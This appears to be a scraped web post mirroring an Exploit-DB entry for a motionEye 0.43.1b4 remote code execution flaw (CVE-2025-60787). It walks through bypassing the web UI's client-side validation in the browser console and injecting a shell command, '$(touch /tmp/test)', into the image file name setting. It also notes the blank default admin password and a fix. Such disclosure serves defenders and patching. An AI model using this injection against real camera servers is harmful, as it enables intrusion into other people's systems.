{“lastseen”:”2026-02-11T11:28:26″,”description”:”Exploit Title: motionEye 0.43.1b4 – RCE Exploit PoC: motionEye RCE via client-side validation bypass safe PoC Filename: motioneyercepocedb.txt Author: prabhatverma47 Date tested: 2025-05-14 original test; prepared for submission: 2025-10-11 Affected…”,”published”:”2026-02-11T00:00:00″,”modified”:”2026-02-11T00:00:00″,”type”:”exploitdb”,”title”:”motionEye 0.43.1b4 – RCE”,”source”:””,”references”:””,”id”:”EDB-ID:52481″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-60787″],”sourceData”:”# Exploit Title: motionEye 0.43.1b4 – RCE \\r\\n# Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC)\\r\\n# Filename: motioneye_rce_poc_edb.txt\\r\\n# Author: prabhatverma47\\r\\n# Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11\\r\\n# Affected Versions: motionEye \\u003c= 0.43.1b4\\r\\n# Tested on: Debian host running Docker; motionEye image ghcr.io\/motioneye-project\/motioneye:edge\\r\\n# CVE(s) \/ References: MITRE\/OSV advisories referenced: CVE-2025-60787 \\r\\n#\\r\\n# Short description:\\r\\n# Client-side validation in motionEye’s web UI can be bypassed via overriding the JS validation\\r\\n# function. Arbitrary values (including shell interpolation syntax) can be saved into the\\r\\n# motion config. When motion is restarted, the motion process interprets the config and\\r\\n# can execute shell syntax embedded inside configuration values such as \\”image_file_name\\”.\\r\\n#\\r\\n# Safe PoC: creates a harmless file \/tmp\/test inside container (non-destructive).\\r\\n#\\r\\n# Environment setup:\\r\\n# 1) Start the motionEye docker image:\\r\\n# docker run -d –name motioneye -p 9999:8765 ghcr.io\/motioneye-project\/motioneye:edge\\r\\n#\\r\\n# 2) Verify version in logs:\\r\\n# docker logs motioneye | grep \\”motionEye server\\”\\r\\n# Expect: 0.43.1b4 (or \\u003c= 0.43.1b4 for vulnerable)\\r\\n#\\r\\n# 3) Access web UI:\\r\\n# Open http:\/\/127.0.0.1:9999\\r\\n# Login: admin (blank password in default\/edge image)\\r\\n#\\r\\n# Reproduction (manual + safe PoC):\\r\\n# A) Bypass client-side validation in browser console:\\r\\n# 1) Open browser devtools on the dashboard (F12 \/ Ctrl+Shift+I).\\r\\n# 2) In the Console tab paste and run:\\r\\n#\\r\\n# configUiValid = function() { return true; };\\r\\n#\\r\\n# This forces the UI validation function to always return true and allows any value\\r\\n# to be accepted by the UI forms.\\r\\n#\\r\\n# B) Safe payload (paste this into Settings \u2192 Still Images \u2192 Image File Name and Apply):\\r\\n# $(touch \/tmp\/test).%Y-%m-%d-%H-%M-%S\\r\\n#\\r\\n# After applying, the PoC triggers creation of \/tmp\/test inside the motionEye container\\r\\n# (the \\”touch\\” is executed when motion re-reads the config \/ motionctl restarts).\\r\\n#\\r\\n# C) Verify from host:\\r\\n# docker exec -it motioneye ls -la \/tmp | grep test\\r\\n#\\r\\n# Expected result:\\r\\n# \/tmp\/test exists (created with the permissions of the motion process).\\r\\n#\\r\\n# Notes \/ root cause:\\r\\n# – UI stores un-sanitized values into camera-*.conf (e.g., picture_filename),\\r\\n# which are later parsed by motion and interpreted as filenames \u2013 shell meta is executed.\\r\\n# – Fix: sanitize\/whitelist filename characters (example sanitization provided in README).\\r\\n#\\r\\n# References:\\r\\n# – Original PoC \\u0026 writeup: https:\/\/github.com\/prabhatverma47\/motionEye-RCE-through-config-parameter\\r\\n# – motionEye upstream: https:\/\/github.com\/motioneye-project\/motioneye\\r\\n# – OSV\/GHSA advisories referencing this issue (published May\u2013Oct 2025)\\r\\n# – NVD entries: CVE-2025-60787″,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52481″,”cvss”:{“score”:7.2,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52481″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-11T11:28:26″,”description”:”Exploit Title: motionEye 0.43.1b4 – RCE Exploit PoC: motionEye RCE via client-side validation bypass safe PoC Filename: motioneyercepocedb.txt Author: prabhatverma47 Date tested: 2025-05-14 original test;…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,40,15,13,7,11,5],"class_list":["post-40346","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n